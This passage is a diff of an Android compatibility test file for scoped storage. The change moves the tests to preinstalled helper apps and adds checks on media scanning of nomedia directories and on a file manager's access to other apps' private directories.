     static final String NONMEDIA_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".pdf";
 
-    static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
-
-    private static final TestApp TEST_APP_A = new TestApp("TestAppA",
-            "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
-    private static final TestApp TEST_APP_B = new TestApp("TestAppB",
-            "android.scopedstorage.cts.testapp.B", 1, false, "CtsScopedStorageTestAppB.apk");
-    private static final TestApp TEST_APP_C = new TestApp("TestAppC",
-            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppC.apk");
-    private static final TestApp TEST_APP_C_LEGACY = new TestApp("TestAppCLegacy",
-            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
-    private static final String[] SYSTEM_GALERY_APPOPS = {
-            AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
-    private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
-            permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+    // The following apps are installed before the tests are run via a target_preparer.
+    // See test config for details.
+    // An app with READ_EXTERNAL_STORAGE permission
+    private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
+            "android.scopedstorage.cts.testapp.A.withres", 1, false,
+            "CtsScopedStorageTestAppA.apk");
+    // An app with no permissions
+    private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+            "CtsScopedStorageTestAppB.apk");
+    // A legacy targeting app with RES and WES permissions
+    private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
+            "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
 
     @Before
     public void setup() throws Exception {
-        // skips all test cases if FUSE is not active.
-        assumeTrue(getBoolean("persist.sys.fuse", false));
-
         if (!getContext().getPackageManager().isInstantApp()) {
             pollForExternalStorageState();
             getExternalFilesDir().mkdirs();
@@ -178,127 +149,28 @@
     }
 
     /**
-     * Test that readdir lists unsupported file types in default directories.
-     */
-    @Test
-    public void testListUnsupportedFileType() throws Exception {
-        final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
-        final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
-        try {
-            // TEST_APP_A with storage permission should not see pdf file in DCIM
-            createFileUsingTradefedContentProvider(pdfFile);
-            assertThat(pdfFile.exists()).isTrue();
-            assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
-
-            installAppWithStoragePermissions(TEST_APP_A);
-            assertThat(listAs(TEST_APP_A, getDcimDir().getPath()))
-                    .doesNotContain(NONMEDIA_FILE_NAME);
-
-            createFileUsingTradefedContentProvider(videoFile);
-            // We don't insert files to db for files created by shell.
-            assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
-            // TEST_APP_A with storage permission should see video file in Music directory.
-            assertThat(listAs(TEST_APP_A, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
-        } finally {
-            deleteFileUsingTradefedContentProvider(pdfFile);
-            deleteFileUsingTradefedContentProvider(videoFile);
-            MediaStore.scanFile(getContentResolver(), pdfFile);
-            MediaStore.scanFile(getContentResolver(), videoFile);
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
      * Test that Installer packages can access app's private directories in Android/obb
      */
     @Test
     public void testCheckInstallerAppAccessToObbDirs() throws Exception {
         File[] obbDirs = getContext().getObbDirs();
-        try {
-            installApp(TEST_APP_A);
-            for (File obbDir : obbDirs) {
-                final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
-                        THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-                final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
-                try {
-                    assertThat(file.exists()).isFalse();
+        for (File obbDir : obbDirs) {
+            final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+            final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
+            try {
+                assertThat(file.exists()).isFalse();
 
-                    assertThat(createFileAs(TEST_APP_A, file.getPath())).isTrue();
-                    assertFileAccess_readWrite(file);
+                assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+                assertFileAccess_readWrite(file);
 
-                    assertThat(file.delete()).isTrue();
-                    assertThat(file.exists()).isFalse();
-                    assertThat(file.createNewFile()).isTrue();
-                    assertThat(file.exists()).isTrue();
-                } finally {
-                    deleteFileAsNoThrow(TEST_APP_A, file.getAbsolutePath());
-                }
+                assertThat(file.delete()).isTrue();
+                assertThat(file.exists()).isFalse();
+                assertThat(file.createNewFile()).isTrue();
+                assertThat(file.exists()).isTrue();
+            } finally {
+                deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
             }
-        } finally {
-            uninstallApp(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
-     */
-    @Test
-    public void testCantAccessOtherAppsExternalDirs() throws Exception {
-        File[] obbDirs = getContext().getObbDirs();
-        File[] dataDirs = getContext().getExternalFilesDirs(null);
-        try {
-            installApp(TEST_APP_A);
-            for (File obbDir : obbDirs) {
-                final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
-                        THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-                final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
-                try {
-                    assertThat(createFileAs(TEST_APP_A, file.getPath())).isTrue();
-                    assertCannotReadOrWrite(file);
-                } finally {
-                    deleteFileAsNoThrow(TEST_APP_A, file.getAbsolutePath());
-                }
-            }
-            for (File dataDir : dataDirs) {
-                final File otherAppExternalDataDir = new File(dataDir.getPath().replace(
-                        THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-                final File file = new File(otherAppExternalDataDir, NONMEDIA_FILE_NAME);
-                try {
-                    assertThat(createFileAs(TEST_APP_A, file.getPath())).isTrue();
-                    assertCannotReadOrWrite(file);
-                } finally {
-                    deleteFileAsNoThrow(TEST_APP_A, file.getAbsolutePath());
-                }
-            }
-        } finally {
-            uninstallApp(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that we don't allow renaming to top level directory
-     */
-    @Test
-    public void testCantRenameToTopLevelDirectory() throws Exception {
-        final File topLevelDir1 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_1");
-        final File topLevelDir2 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_2");
-        final File nonTopLevelDir = new File(getDcimDir(), TEST_DIRECTORY_NAME);
-        try {
-            createDirUsingTradefedContentProvider(topLevelDir1);
-            assertTrue(topLevelDir1.exists());
-
-            // We can't rename a top level directory to a top level directory
-            assertCantRenameDirectory(topLevelDir1, topLevelDir2, null);
-
-            // However, we can rename a top level directory to non-top level directory.
-            assertCanRenameDirectory(topLevelDir1, nonTopLevelDir, null, null);
-
-            // We can't rename a non-top level directory to a top level directory.
-            assertCantRenameDirectory(nonTopLevelDir, topLevelDir2, null);
-        } finally {
-            deleteDirUsingTradefedContentProvider(topLevelDir1);
-            deleteDirUsingTradefedContentProvider(topLevelDir2);
-            nonTopLevelDir.delete();
         }
     }
 
@@ -323,73 +195,25 @@
     public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
         pollForManageExternalStorageAllowed();
 
-        try {
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            installAppWithStoragePermissions(TEST_APP_A);
+        // Let app A create a file in its data dir
+        final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                THIS_PACKAGE_NAME, APP_A_HAS_RES.getPackageName()));
+        final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+                NONMEDIA_FILE_NAME);
+        assertCreateFilesAs(APP_A_HAS_RES, otherAppExternalDataFile);
 
-            // Let app A create a file in its data dir
-            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
-                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-            final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
-                    NONMEDIA_FILE_NAME);
-            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+        // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+        // file manager app doesn't have access to other app's external files directory
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+        assertThat(otherAppExternalDataFile.delete()).isFalse();
 
-            // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
-            // file manager app doesn't have access to other app's external files directory
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
-            assertThat(otherAppExternalDataFile.delete()).isFalse();
+        assertThat(deleteFileAs(APP_A_HAS_RES, otherAppExternalDataFile.getPath())).isTrue();
 
-            assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
-
-            assertThrows(IOException.class,
-                    () -> { otherAppExternalDataFile.createNewFile(); });
-
-        } finally {
-            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-        }
-    }
-
-    /**
-     * b/168830497: Test that app can write to file in DCIM/Camera even with .nomedia presence
-     */
-    @Test
-    public void testCanWriteToDCIMCameraWithNomedia() throws Exception {
-        final File cameraDir = new File(getDcimDir(), "Camera");
-        final File nomediaFile = new File(cameraDir, ".nomedia");
-        Uri targetUri = null;
-
-        try {
-            // Recreate required file and directory
-            if (cameraDir.exists()) {
-                // This is a work around to address a known inode cache inconsistency issue
-                // that occurs when test runs for the second time.
-                deleteDirUsingTradefedContentProvider(cameraDir);
-            }
-
-            createDirUsingTradefedContentProvider(cameraDir);
-            assertTrue(cameraDir.exists());
-
-            createFileUsingTradefedContentProvider(nomediaFile);
-            assertTrue(nomediaFile.exists());
-
-            ContentValues values = new ContentValues();
-            values.put(MediaColumns.RELATIVE_PATH, "DCIM/Camera");
-            targetUri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
-            assertNotNull(targetUri);
-
-            try (ParcelFileDescriptor pfd =
-                         getContentResolver().openFileDescriptor(targetUri, "w")) {
-                assertThat(pfd).isNotNull();
-                Os.write(pfd.getFileDescriptor(), ByteBuffer.wrap(BYTES_DATA1));
-            }
-
-            assertFileContent(new File(getFilePathFromUri(targetUri)), BYTES_DATA1);
-        } finally {
-            deleteWithMediaProviderNoThrow(targetUri);
-            deleteFileUsingTradefedContentProvider(nomediaFile);
-            deleteDirUsingTradefedContentProvider(cameraDir);
-        }
+        assertThrows(IOException.class,
+                () -> {
+                    otherAppExternalDataFile.createNewFile();
+                });
     }
 
     @Test
@@ -400,12 +224,10 @@
         final File otherAppImage = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-
             // Create all of the files as another app
-            assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
-            assertThat(createFileAs(TEST_APP_A, otherAppImage.getPath())).isTrue();
-            assertThat(createFileAs(TEST_APP_A, otherAppMusic.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImage.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppMusic.getPath())).isTrue();
 
             assertThat(otherAppPdf.delete()).isTrue();
             assertThat(otherAppPdf.exists()).isFalse();
@@ -416,10 +238,9 @@
             assertThat(otherAppMusic.delete()).isTrue();
             assertThat(otherAppMusic.exists()).isFalse();
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
-            deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
-            deleteFileAsNoThrow(TEST_APP_A, otherAppMusic.getAbsolutePath());
-            uninstallApp(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImage.getAbsolutePath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppMusic.getAbsolutePath());
         }
     }
 
@@ -436,10 +257,8 @@
         final File doesntExistPdf = new File(downloadDir, "nada-" + NONMEDIA_FILE_NAME);
 
         try {
-            installApp(TEST_APP_A);
-
-            assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
-            assertThat(createFileAs(TEST_APP_A, otherAppImage.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImage.getPath())).isTrue();
 
             // We can read our image and pdf files.
             assertThat(myAppPdf.createNewFile()).isTrue();
@@ -452,18 +271,15 @@
             assertAccess(doesntExistPdf, false, false, false);
 
             // We can check only exists for another app's files on root.
-            // Use content provider to create root file because TEST_APP_A is in
-            // scoped storage.
-            createFileUsingTradefedContentProvider(shellPdfAtRoot);
+            createFileAsLegacyApp(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             assertFileAccess_existsOnly(shellPdfAtRoot);
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
-            deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
-            deleteFileUsingTradefedContentProvider(shellPdfAtRoot);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImage.getAbsolutePath());
+            deleteAsLegacyApp(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             myAppPdf.delete();
-            uninstallApp(TEST_APP_A);
         }
     }
 
@@ -473,33 +289,31 @@
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
         File topLevelDir = new File(getExternalStorageDir(), "Test");
         try {
-            installApp(TEST_APP_A);
-
-            // Let app A create a file in its data dir
+            // Let app B create a file in its data dir
             final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
-                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
             final File otherAppExternalDataSubDir = new File(otherAppExternalDataDir, "subdir");
             final File otherAppExternalDataFile = new File(otherAppExternalDataSubDir, "abc.jpg");
-            assertThat(createFileAs(TEST_APP_A, otherAppExternalDataFile.getAbsolutePath()))
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppExternalDataFile.getAbsolutePath()))
                     .isTrue();
 
-            // We cannot read or write the file, but app A can.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We cannot read or write the file, but app B can.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     otherAppExternalDataFile.getAbsolutePath())).isTrue();
             assertCannotReadOrWrite(otherAppExternalDataFile);
 
-            // We cannot read or write the dir, but app A can.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We cannot read or write the dir, but app B can.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     otherAppExternalDataDir.getAbsolutePath())).isTrue();
             assertCannotReadOrWrite(otherAppExternalDataDir);
 
-            // We cannot read or write the sub dir, but app A can.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We cannot read or write the sub dir, but app B can.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     otherAppExternalDataSubDir.getAbsolutePath())).isTrue();
             assertCannotReadOrWrite(otherAppExternalDataSubDir);
 
-            // We can read and write our own app dir, but app A cannot.
-            assertThat(canReadAndWriteAs(TEST_APP_A,
+            // We can read and write our own app dir, but app B cannot.
+            assertThat(canReadAndWriteAs(APP_B_NO_PERMS,
                     getExternalFilesDir().getAbsolutePath())).isFalse();
             assertCanAccessMyAppFile(getExternalFilesDir());
 
@@ -508,7 +322,7 @@
             assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true, false);
             assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false, false);
 
-            createDirUsingTradefedContentProvider(topLevelDir);
+            createDirectoryAsLegacyApp(topLevelDir);
             assertDirectoryAccess(topLevelDir, true, false);
 
             // We can see "/storage/emulated" exists, but not read/write to it, since it's
@@ -526,8 +340,7 @@
             // Or an obviously invalid userId (b/172629984)
             assertAccess(new File("/storage/emulated/100000000000"), false, false, false);
         } finally {
-            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-            deleteDirUsingTradefedContentProvider(topLevelDir);
+            deleteAsLegacyApp(topLevelDir);
         }
     }
 
@@ -541,10 +354,8 @@
         final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
         final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-
             // Have another app create a PDF
-            assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdf.getPath())).isTrue();
             assertThat(otherAppPdf.exists()).isTrue();
 
 
@@ -573,21 +384,7 @@
             pdfInObviouslyWrongPlace.delete();
             topLevelPdf.delete();
             musicFile.delete();
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
-            uninstallApp(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testCanCreateDefaultDirectory() throws Exception {
-        final File podcastsDir = getPodcastsDir();
-        try {
-            if (podcastsDir.exists()) {
-                deleteDirUsingTradefedContentProvider(podcastsDir);
-            }
-            assertThat(podcastsDir.mkdir()).isTrue();
-        } finally {
-            createDirUsingTradefedContentProvider(podcastsDir);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdf.getAbsolutePath());
         }
     }
 
@@ -601,9 +398,8 @@
         final File otherTopLevelFile = new File(getExternalStorageDir(),
                 "other" + NONMEDIA_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-            assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            createFileUsingTradefedContentProvider(otherTopLevelFile);
+            assertCreateFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
+            createFileAsLegacyApp(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
 
             // We can list other apps' files
@@ -616,10 +412,9 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
+            deleteAsLegacyApp(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            uninstallApp(TEST_APP_A);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
         }
     }
 
@@ -632,18 +427,94 @@
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
         try {
-            installApp(TEST_APP_A);
             // Apps can't query other app's pending file, hence create file and publish it.
             assertCreatePublishedFilesAs(
-                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
 
             assertCanQueryAndOpenFile(otherAppPdf, "rw");
             assertCanQueryAndOpenFile(otherAppImg, "rw");
             assertCanQueryAndOpenFile(otherAppMusic, "rw");
             assertCanQueryAndOpenFile(otherHiddenFile, "rw");
         } finally {
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-            uninstallApp(TEST_APP_A);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+        }
+    }
+
+    /*
+     * b/174211425: Test that for apps bypassing database operations we mark the nomedia directory
+     * as dirty for create/rename/delete.
+     */
+    @Test
+    public void testManageExternalStorageDoesntSkipScanningDirtyNomediaDir() throws Exception {
+        pollForManageExternalStorageAllowed();
+
+        final File nomediaDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+        final File nomediaFile = new File(nomediaDir, ".nomedia");
+        final File mediaFile = new File(nomediaDir, IMAGE_FILE_NAME);
+        final File renamedMediaFile = new File(nomediaDir, "Renamed_" + IMAGE_FILE_NAME);
+        try {
+            if (!nomediaDir.exists()) {
+                assertTrue(nomediaDir.mkdirs());
+            }
+            assertThat(nomediaFile.createNewFile()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+
+            assertThat(mediaFile.createNewFile()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+            assertThat(getFileRowIdFromDatabase(mediaFile)).isNotEqualTo(-1);
+
+            assertThat(mediaFile.renameTo(renamedMediaFile)).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+            assertThat(getFileRowIdFromDatabase(renamedMediaFile)).isNotEqualTo(-1);
+
+            assertThat(renamedMediaFile.delete()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+            assertThat(getFileRowIdFromDatabase(renamedMediaFile)).isEqualTo(-1);
+        } finally {
+            nomediaFile.delete();
+            mediaFile.delete();
+            renamedMediaFile.delete();
+            nomediaDir.delete();
+        }
+    }
+
+    @Test
+    public void testScanDoesntSkipDirtySubtree() throws Exception {
+        pollForManageExternalStorageAllowed();
+
+        final File nomediaDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+        final File topLevelNomediaFile = new File(nomediaDir, ".nomedia");
+        final File nomediaSubDir = new File(nomediaDir, "child_" + TEST_DIRECTORY_NAME);
+        final File nomediaFileInSubDir = new File(nomediaSubDir, ".nomedia");
+        final File mediaFile1InSubDir = new File(nomediaSubDir, "1_" + IMAGE_FILE_NAME);
+        final File mediaFile2InSubDir = new File(nomediaSubDir, "2_" + IMAGE_FILE_NAME);
+        try {
+            if (!nomediaDir.exists()) {
+                assertTrue(nomediaDir.mkdirs());
+            }
+            if (!nomediaSubDir.exists()) {
+                assertTrue(nomediaSubDir.mkdirs());
+            }
+            assertThat(topLevelNomediaFile.createNewFile()).isTrue();
+            assertThat(nomediaFileInSubDir.createNewFile()).isTrue();
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
+
+            // Verify creating a new file in subdirectory sets dirty state, and scanning the top
+            // level nomedia directory will not skip scanning the subdirectory.
+            assertCreateFileAndScanNomediaDirDoesntNoOp(mediaFile1InSubDir, nomediaDir);
+
+            // Verify creating a new file in subdirectory sets dirty state, and scanning the
+            // subdirectory will not no-op.
+            assertCreateFileAndScanNomediaDirDoesntNoOp(mediaFile2InSubDir, nomediaSubDir);
+        } finally {
+            nomediaFileInSubDir.delete();
+            mediaFile1InSubDir.delete();
+            mediaFile2InSubDir.delete();
+            topLevelNomediaFile.delete();
+            nomediaSubDir.delete();
+            nomediaDir.delete();
+            // Scan the directory to remove stale db rows.
+            MediaStore.scanFile(getContentResolver(), nomediaDir);
         }
     }
 
@@ -651,21 +522,14 @@
     public void testAndroidMedia() throws Exception {
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
 
-        try {
-            installApp(TEST_APP_A);
+        final File myMediaDir = getExternalMediaDir();
+        final File otherAppMediaDir = new File(myMediaDir.getAbsolutePath()
+                .replace(THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
 
-            final File myMediaDir = getExternalMediaDir();
-            final File otherAppMediaDir = new File(myMediaDir.getAbsolutePath().
-                    replace(THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-
-            // Verify that accessing other app's /sdcard/Android/media behaves exactly like DCIM for
-            // image files and exactly like Downloads for documents.
-            assertSharedStorageAccess(otherAppMediaDir, otherAppMediaDir, TEST_APP_A);
-            assertSharedStorageAccess(getDcimDir(), getDownloadDir(), TEST_APP_A);
-
-        } finally {
-            uninstallApp(TEST_APP_A);
-        }
+        // Verify that accessing other app's /sdcard/Android/media behaves exactly like DCIM for
+        // image files and exactly like Downloads for documents.
+        assertSharedStorageAccess(otherAppMediaDir, otherAppMediaDir, APP_B_NO_PERMS);
+        assertSharedStorageAccess(getDcimDir(), getDownloadDir(), APP_B_NO_PERMS);
     }
 
     @Test
@@ -712,6 +576,52 @@
     }
 
     /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaData() throws Exception {
+        verifyInsertFromExternalMediaDirViaData_allowed();
+        verifyInsertFromExternalPrivateDirViaData_denied();
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaData() throws Exception {
+        verifyUpdateToExternalDirsViaData_denied();
+    }
+
+    /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
+    private void assertCreateFileAndScanNomediaDirDoesntNoOp(File newFile, File scanDir)
+            throws Exception {
+        assertThat(newFile.createNewFile()).isTrue();
+        // File is not added to database yet, but the directory is marked as dirty so that next
+        // scan doesn't no-op.
+        assertThat(getFileRowIdFromDatabase(newFile)).isEqualTo(-1);
+
+        MediaStore.scanFile(getContentResolver(), scanDir);
+        assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+    }
+
+    /**
      * Verifies that files created by {@code otherApp} in shared locations {@code imageDir}
      * and {@code documentDir} follow the scoped storage rules. Requires the running app to hold
      * {@code READ_EXTERNAL_STORAGE}.
@@ -730,7 +640,8 @@
             // .. but not the binary file
             assertFileAccess_existsOnly(otherAppBinary);
             assertThrows(FileNotFoundException.class, () -> {
-                assertFileContent(otherAppBinary, new String().getBytes()); });
+                assertFileContent(otherAppBinary, new String().getBytes());
+            });
         } finally {
             deleteFileAsNoThrow(otherApp, otherAppImage.getAbsolutePath());
             deleteFileAsNoThrow(otherApp, otherAppBinary.getAbsolutePath());
@@ -743,8 +654,7 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         final File otherPendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-            assertCreateFilesAs(TEST_APP_A, otherPendingFile);
+            assertCreateFilesAs(APP_B_NO_PERMS, otherPendingFile);
 
             // We can read other app's pending file from FUSE via filePath
             assertCanQueryAndOpenFile(otherPendingFile, "r");
@@ -752,8 +662,7 @@
             // We can also read other app's pending file via MediaStore API
             assertNotNull(openWithMediaProvider(otherPendingFile, "r"));
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherPendingFile.getAbsolutePath());
         }
     }
 
@@ -773,31 +682,25 @@
 
     @Test
     public void testNoIsolatedStorageCantReadWriteOtherAppExternalDir() throws Exception {
-        try {
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            installAppWithStoragePermissions(TEST_APP_A);
+        // Let app A create a file in its data dir
+        final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                THIS_PACKAGE_NAME, APP_A_HAS_RES.getPackageName()));
+        final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+                NONMEDIA_FILE_NAME);
+        assertCreateFilesAs(APP_A_HAS_RES, otherAppExternalDataFile);
 
-            // Let app A create a file in its data dir
-            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
-                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-            final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
-                    NONMEDIA_FILE_NAME);
-            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+        // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+        // file manager app doesn't have access to other app's external files directory
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+        assertThat(otherAppExternalDataFile.delete()).isFalse();
 
-            // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
-            // file manager app doesn't have access to other app's external files directory
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
-            assertThat(otherAppExternalDataFile.delete()).isFalse();
+        assertThat(deleteFileAs(APP_A_HAS_RES, otherAppExternalDataFile.getPath())).isTrue();
 
-            assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
-
-            assertThrows(IOException.class,
-                    () -> { otherAppExternalDataFile.createNewFile(); });
-
-        } finally {
-            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-        }
+        assertThrows(IOException.class,
+                () -> {
